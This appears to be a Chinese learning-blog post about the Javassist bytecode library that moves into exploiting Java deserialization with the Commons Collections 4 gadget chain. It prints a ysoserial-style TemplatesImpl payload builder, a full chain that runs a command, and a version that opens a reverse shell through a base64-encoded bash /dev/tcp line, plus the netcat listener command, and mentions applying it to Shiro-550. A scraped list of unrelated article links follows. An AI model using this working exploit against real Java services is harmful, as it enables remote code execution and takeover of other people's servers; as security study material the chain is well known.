java--javassist学习

article/2025/9/15 5:52:52

Javassist是一个开源的分析、编辑和创建Java字节码的类库。是由东京工业大学的数学和计算机科学系的 Shigeru Chiba (千叶 滋)所创建的。它已加入了开放源代码JBoss 应用服务器项目,通过使用Javassist对字节码操作为JBoss实现动态AOP框架。javassist是jboss的一个子项目,其主要的优点,在于简单,而且快速。直接使用java编码的形式,而不需要了解虚拟机指令,就能动态改变类的结构,或者动态生成类。

Javassist中最为重要的是ClassPool,CtClass ,CtMethod 以及 CtField这几个类。

ClassPool:一个基于HashMap实现的CtClass对象容器,其中键是类名称,值是表示该类的CtClass对象。默认的ClassPool使用与底层JVM相同的类路径,因此在某些情况下,可能需要向ClassPool添加类路径或类字节。

CtClass:表示一个类,这些CtClass对象可以从ClassPool获得。

CtMethods:表示类中的方法。

CtFields :表示类中的字段。


首先看一下常用的方法

ClassPool pool = ClassPool.getDefault();
Loader loader = new Loader(pool);
CtClass ct = pool.makeClass("JavassistTestResult");//创建类
ct.setInterfaces(new CtClass[]{pool.makeInterface("java.io.Serializable")});//让该类实现Serializable接口
CtField f= new CtField(CtClass.intType,"id",ct);//生成一个字段 类型为int 名字为id
​
f.setModifiers(AccessFlag.PUBLIC);//将字段设置为public
​
ct.addField(f);//将字段设置到类上
​
CtConstructor constructor=CtNewConstructor.make("public GeneratedClass(int pId){this.id=pId;}",ct);//添加构造函数
​
ct.addConstructor(constructor);
​
CtMethod helloM=CtNewMethod.make("public void hello(String des){ System.out.println(des);}",ct);//添加方法
​
ct.addMethod(helloM);ct.writeFile("/Users/zyer/Downloads/untitled/out/production/untitled/");//将生成的.class文件保存到磁盘
​
Class c = loader.loadClass("JavassistTestResult");
​
Constructor constructor1 = c.getDeclaredConstructor(int.class);
​
Object object = constructor1.newInstance(1);
​

javassist的学习难度应该不是很大,但主要依赖于反射这一部分,复习一下

  • Field:对变量进行操作
  • Constructor:对构造方法进行操作
  • Method:对普通方法进行操作

随便联系一下使用就可以了,具体利用TemplatesImpl网上有写好的函数,我们直接输入命令就可以直接生成对应的class文件,下面看一下我的练习

import javassist.*;
import javassist.bytecode.AccessFlag;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;public class Javassist {public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {ClassPool pool = ClassPool.getDefault();Loader loader = new Loader(pool);CtClass ct = pool.makeClass("zyer");CtField field = new CtField(CtClass.intType,"age",ct);field.setModifiers(AccessFlag.PUBLIC);ct.addField(field);CtConstructor constructor = CtNewConstructor.make("public GeneratedClass(int age){this.age=age;}",ct);ct.addConstructor(constructor);CtMethod method = CtNewMethod.make("public void hello(int age){System.out.println(age);}",ct);ct.addMethod(method);String cmd = "public static void main(String[] args) {System.out.println(\"my name is zyer\");}";CtMethod method1 = CtNewMethod.make(cmd,ct);ct.addMethod(method1);ct.writeFile("/Users/zyer/Downloads/untitled/out/production/untitled/");Class name = loader.loadClass("zyer");Constructor constructor1 = name.getDeclaredConstructor(int.class);Object obj = constructor1.newInstance(1);Method method2 = name.getDeclaredMethod("hello",int.class);method2.invoke(obj,123);Method method3 = name.getDeclaredMethod("main",String[].class);method3.invoke(null,(Object) new String[]{});}
}

发现会生成对应的class文件


实际利用代码,这里使用函数形式

public static Object createTemplatesImpl(String command) throws Exception{Object templates = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").newInstance();ClassPool pool = ClassPool.getDefault();final CtClass clazz = pool.get(Gadgets.StubTransletPayload.class.getName());String cmd = "java.lang.Runtime.getRuntime().exec(\"" +command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +"\");";((CtClass) clazz).makeClassInitializer().insertAfter(cmd);clazz.setName("ysoserial.Pwner" + System.nanoTime());final byte[] classBytes = clazz.toBytecode();setFieldValue(templates, "_bytecodes", new byte[][] {classBytes});setFieldValue(templates, "_name", "Pwnr");setFieldValue(templates, "_tfactory", Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());return templates;}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);
}

 


下面是对cc4链的利用操作,将我之前使用的远程加载,变成使用javassist在本地新建从而进行命令执行(弹计算器)

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.bag.TreeBag;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import ysoserial.payloads.util.Gadgets;
import java.io.*;
import java.lang.reflect.Field;public class cc4 {public static Object createTemplatesImpl(String command) throws Exception{Object templates = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").newInstance();ClassPool pool = ClassPool.getDefault();final CtClass clazz = pool.get(Gadgets.StubTransletPayload.class.getName());String cmd = "java.lang.Runtime.getRuntime().exec(\"" +command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +"\");";((CtClass) clazz).makeClassInitializer().insertAfter(cmd);clazz.setName("ysoserial.Pwner" + System.nanoTime());final byte[] classBytes = clazz.toBytecode();setFieldValue(templates, "_bytecodes", new byte[][] {classBytes});setFieldValue(templates, "_name", "Pwnr");setFieldValue(templates, "_tfactory", Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());return templates;}public static void main(String[] args) throws Exception {Object obj = createTemplatesImpl("open -a Calculator.app");System.out.println(obj);Transformer transformer = new InvokerTransformer("toString", new Class[]{}, new Object[]{});TransformingComparator comparator  = new TransformingComparator(transformer);TreeBag treeBag = new TreeBag(comparator);treeBag.add(obj);Field field = InvokerTransformer.class.getDeclaredField("iMethodName");field.setAccessible(true);field.set(transformer,"getOutputProperties");ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));objectOutputStream.writeObject(treeBag);objectOutputStream.close();ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));objectInputStream.readObject();}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}
}

反弹shell

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.bag.TreeBag;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import ysoserial.payloads.util.Gadgets;
import java.io.*;
import java.lang.reflect.Field;public class cc4 {public static Object createTemplatesImpl(String command) throws Exception{Object templates = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").newInstance();ClassPool pool = ClassPool.getDefault();final CtClass clazz = pool.get(Gadgets.StubTransletPayload.class.getName());String cmd = "java.lang.Runtime.getRuntime().exec(\"" +command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +"\");";((CtClass) clazz).makeClassInitializer().insertAfter(cmd);clazz.setName("ysoserial.Pwner" + System.nanoTime());final byte[] classBytes = clazz.toBytecode();setFieldValue(templates, "_bytecodes", new byte[][] {classBytes});setFieldValue(templates, "_name", "Pwnr");setFieldValue(templates, "_tfactory", Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());return templates;}public static void main(String[] args) throws Exception {Object obj = createTemplatesImpl("bash -c {echo,L2Jpbi9iYXNoIiwiLWMiLCJiYXNoIC1pID4mIC9kZXYvdGNwLzEyNy4wLjAuMS81NTU1IDA+JjE=}|{base64,-d}|{bash,-i}");System.out.println(obj);Transformer transformer = new InvokerTransformer("toString", new Class[]{}, new Object[]{});TransformingComparator comparator  = new TransformingComparator(transformer);TreeBag treeBag = new TreeBag(comparator);treeBag.add(obj);Field field = InvokerTransformer.class.getDeclaredField("iMethodName");field.setAccessible(true);field.set(transformer,"getOutputProperties");ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));objectOutputStream.writeObject(treeBag);objectOutputStream.close();ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));objectInputStream.readObject();}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}
}

其中命令是对bash命令进行编码:

bash -i >& /dev/tcp/ip/port 0>&1

使用在线网站(java命令执行payloads - 小草窝博客)

 

可以看到会反弹shell,证明命令执行了

 

 这里使用nc命令的时候如果不加 参数 n 会报错,应该是域名解析有问题,那么我们使用命令

nc -lnvvp 5555

 就可以成功反弹shell了。

cc4可以应用在shiro550上,后续会手动复现一下。


http://chatgpt.dhexx.cn/article/YvvV3FcK.shtml

相关文章

javassist使用指南

目录 一、快速入门1.1 创建class文件1.2 ClassPool的相关方法1.3 CtClass的相关方法1.4 CtMethod的相关方法1.5 调用生成的类对象1.5.1 通过反射调用1.5.2 通过接口调用 1.6 修改现有的类对象 二、将类冻结三、类搜索路径四、$开头的特殊字符五、ProxyFactory的使用 我们知道Ja…

systemd介绍

由来 Linux 的启动一直采用init进程,这种方法有两个缺点。一是启动时间长。init进程是串行启动,只有前一个进程启动完,才会启动下一个进程,二是启动脚本复杂。init进程只是执行启动脚本,不管其他事情。脚本需要自己处理…

systemd man手册

SYSTEMD(1)systemd SYSTEMD(1) 名称 systemd,init-systemd系统和服务管理器 概要 /lib/systemd/systemd [OPTIONS...]init [OPTIONS...] {COMMAND}描述 systemd是Linux操作系统的系统和服务管理器。在启动时作为PID的…

systemd wsl 测试笔记

文章目录 systemd 简介WSL systemdsystemctljournalctlhello serviceSleep 与 Timeout 测试Requires 测试After 测试 systemd 简介 Linux 从关闭到运行, 完整的启动和启动过程有三个主要部分: 硬件启动(Hardware boot): 初始化系统硬件Linux 引导(Linux boot): 加载 Linux 内核…

Linux systemd启动流程

以Ubuntu 18.04.2 LTS为例,列出Systemd启动target中涉及单元(Unit). default.target ( graphical.target by default) graphical.targetRequiresmulti-user.targetWantsdisplay-manager.serviceConflictsrescue.service rescue.targetAftermulti-user.target rescu…

关于 Linux中systemd的一些笔记

写在前面 嗯,准备RHCA,学习整理这部分知识博文内容涉及: systemd简述对于unit的信息的介绍通过systemctl命令控制Service unit的DemoService unit配置文件内容,权值的一些介绍 傍晚时分,你坐在屋檐下,看着天慢慢地黑下…

Linux-Systemd

目录 一、Systemd概述 二、Systemd优势 2.1兼容性 2.2启动速度 2.3systemd 提供按需启动能力 2.4采用 linux 的 cgroups 跟踪和管理进程的生命周期 2.5启动挂载点和自动挂载的管理 2.6实现事务性依赖关系管理 2.7日志服务 2.8 依赖关系 2.9systemd 事务 三、unit(单…

Systemd 简介

一 概述 Linux 服务管理有两种方式service和systemctl。而systemd是Linux系统最新的初始化系统(init),作用是提高系统的启动速度,尽可能启动较少的进程,尽可能更多进程并发启动,systemd对应的进程管理命令就是systemctl。值得一提…

systemd简介

Systemd 是一个专用于 Linux 操作系统的系统与服务管理器,其目的是要取代Unix时代以来一直在使用的init系统。 systemd概述Systemd 是 Linux 系统中最新的初始化系统(init),它主要的设计目标是克服 sysvinit 固有的缺点,提高系统的启动速度。 systemd框架图 根据 Linux 惯…

Systemd 入门及常用命令

目录 Systemdsystemd架构systemd 系统管理管理系统查看启动耗时查看当前主机的信息 Unit 资源查看当前系统的所有 Unit查看系统状态和单个 Unit 的状态 Unit 管理依赖关系Unit 配置文件查看配置文件的内容 Targettarget(Systemd) 与 runlevel&#xff08…

systemd 介绍

转自:https://www.linuxidc.com/Linux/2018-03/151291.htm 从 init 系统说起 Linux 操作系统的启动首先从 BIOS 开始,接下来进入 boot loader,由 bootloader 载入内核,进行内核初始化。内核初始化的最后一步就是启动 PID 为 1 的 …

[2020.1.10]systemd介绍

1 systemd基本概念 systemd:a system daemon,相当于以前的init进程,pid1,systemd是1号进程!!! sbin/init --> /lib/systemd/systemd unit: 一个进程,例如lightdm.service job: 一个动作,启动是个job,关闭是个job。开机启动时,systemd…

systemd教程(三)

下来会通过示例来描述不同Service Type值的应用场景。在此之前,强烈建议先阅读前后台进程父子关系和daemon类进程来搞懂进程之间的关系和Daemon类进程的特性。 systemd service:Typeforking 当使用systemd去管理一个长久运行的服务进程时,最…

dpkg打包笔记

dpkg 安装软件 dpkg -i xxx.deb 查看安装目录 dpkg -L xxx 显示版本 dpkg -l xxx 详细信息 dpkg -s xxx 罗列内容 dpkg -c xxxx 卸载软件 dpkg -r xxxx 构建deb包 dpkg -p

dpkg和apt

文章目录 Ubuntu软件安装Deb包安装Deb包简介dpkg常用命令 apt-get源安装apt-get简介apt工作原理apt相关文件常用的apt命令参数apt-getapt-cache dpkg和apt-get的区别 Ubuntu软件安装 Linux有很多种发行版本,各种发行版本之间安装软件方式和命令不一样,同…

dpkg安装

目录 转载:https://blog.csdn.net/u012300744/article/details/80267225 1.安装 (3)安装 sudo dpkg -i deb文件名 (4)根据经验,通常情况下会报依赖关系的错误,我们可以使用以下的命令修复安…

dpkg制作deb包详解

1 deb包文件结构 deb 软件包里面的结构,它具有DEBIAN和软件具体安装目录(如etc, usr, opt, tmp等)。在DEBIAN目录中至少必须包括control文件,还有可能postinst(postinstallation)、postrm(postremove)、preinst(preinstallation)、…

dpkg命令的用法

dpkg命令的用法 dpkg 是Debian package的简写,为”Debian“ 操作系统 专门开发的套件管理系统,用于软件的安装,更新和移除。 所有源自"Debian"的Linux的发行版都使用 dpkg, 例如"Ubuntu" 阅读目录 安装软件列出与该…

dpkg说明

dpkg与centos中的rpm相似,被用于安装,卸载及查询deb包信息。下面简单介绍基础命令。 已有安装包:test.deb。 安装命令: dpkg -i test.deb 安装test.deb软件包 dpkg -c test.deb #查看test.deb软件包中包含的文件结构 安装后查询命令&#xff…

大数据生态和Spark简介

一、大数据时代 1.第三次信息化浪潮:根据IBM前首席执行官郭士纳的观点,IT领域每隔十五年就会迎来一次重大变革。 2.数据产生方式的变革促成大数据时代的来临: ①存储设备容量不断增加 ②CPU处理能力大幅提升 ③网络带宽不断增加 等等&#…